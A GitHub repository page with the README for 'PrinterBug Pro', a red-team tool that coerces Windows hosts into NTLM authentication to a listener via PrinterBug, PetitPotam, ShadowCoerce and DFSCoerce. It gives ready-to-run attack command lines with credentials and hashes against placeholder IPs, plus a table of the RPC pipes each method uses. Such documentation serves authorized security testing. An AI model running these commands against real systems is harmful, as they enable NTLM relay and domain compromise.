Skip to content

Latest commit

History

18 Commits

Folders and files

NameName
Last commit message
Last commit date

Repository files navigation

PrinterBug Pro

Language: English | 中文 | Français

Windows SMB NTLM authentication coercion tool, triggers target to connect to your listener via MS-RPRN/MS-EFSR/MS-FSRVP/MS-DFSNM RPC protocols for NTLM relay, fully compatible with original printerbug.py.

platformlicense

Features

  • 100% backward compatible with all original printerbug.py arguments, drop-in replacement
  • 4 built-in coercion methods: MS-RPRN (PrinterBug, default), MS-EFSR (PetitPotam), MS-FSRVP (ShadowCoerce), MS-DFSNM (DFSCoerce)
  • Auto mode to try all available methods sequentially
  • Automatic SMB signing detection to indicate NTLM relay feasibility
  • Batch target scanning with progress tracking
  • Fixed all original script bugs: new impacket logging error, -no-ping logic inversion, incorrect access denied handling
  • No extra dependencies, single file script

Installation

git clone https://github.com/RedteamNotes/Printerbug-Pro.git
cd Printerbug-Pro
pip3 install impacket
chmod +x printerbug_pro.py

Usage

Syntax

python3 printerbug_pro.py [[domain/]username[:password]@]<target><listener> [options]

Arguments

ArgumentDescription
targetTarget address, format: [[domain/]username[:password]@]<IP/hostname>
listenerYour listener IP/hostname to receive NTLM authentication
--verboseEnable debug output
--methodCoercion method: printerbug(default), petitpotam, shadowcoerce, dfscoerce, all
-target-fileFile with targets (one per line, lines starting with # are ignored)
-portSMB port, default 445
-timeoutConnection timeout in seconds, default 3
-no-pingSkip TCP ping check before connection
-hashesNTLM hashes for authentication, format LMHASH:NTHASH
-no-passDo not prompt for password, for anonymous access
-kUse Kerberos authentication
-dc-ipDomain controller IP address
-target-ipTarget IP address when using hostname

Examples

# Classic PrinterBug
python3 printerbug_pro.py domain/user:Password123@10.10.10.10 10.10.10.20
# PetitPotam method
python3 printerbug_pro.py domain/user:Password123@10.10.10.10 10.10.10.20 --method petitpotam
# Auto try all methods
python3 printerbug_pro.py domain/user:Password123@10.10.10.10 10.10.10.20 --method all
# Anonymous coercion
python3 printerbug_pro.py 'DOMAIN\'@10.10.10.10 10.10.10.20 --no-pass
# NTLM hash authentication
python3 printerbug_pro.py domain/user@10.10.10.10 10.10.10.20 -hashes :31d6cfe0d16ae931b73c59d7e0c089c0
# Batch scan from file
python3 printerbug_pro.py ''@$placeholder 10.10.10.20 -target-file targets.txt --no-pass --method all

Supported Methods

MethodProtocolPipeNotes
PrinterBugMS-RPRN\pipe\spoolssClassic spooler bug, works when Print Spooler service is running
PetitPotamMS-EFSR\pipe\efsrpcWorks on most Windows versions even if spooler is disabled
ShadowCoerceMS-FSRVP\pipe\FssagentRpcWorks on Server versions with VSS service enabled
DFSCoerceMS-DFSNM\pipe\netdfsWorks on domain controllers and DFS servers

Disclaimer

This tool is for authorized security testing and red team operations only. Unauthorized access to computer systems is illegal. Authors are not liable for any misuse or damage caused by this program.

Credits

  • Original PrinterBug by Dirk-jan Mollema (@_dirkjan)
  • PetitPotam by @topotam77
  • ShadowCoerce by @ShutdownRepo
  • DFSCoerce by @filip_dragovic

About

Windows SMB NTLM authentication coercion tool, triggers target to connect to your listener via MS-RPRN/MS-EFSR/MS-FSRVP/MS-DFSNM RPC protocols for NTLM relay.

Resources

Stars

5 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages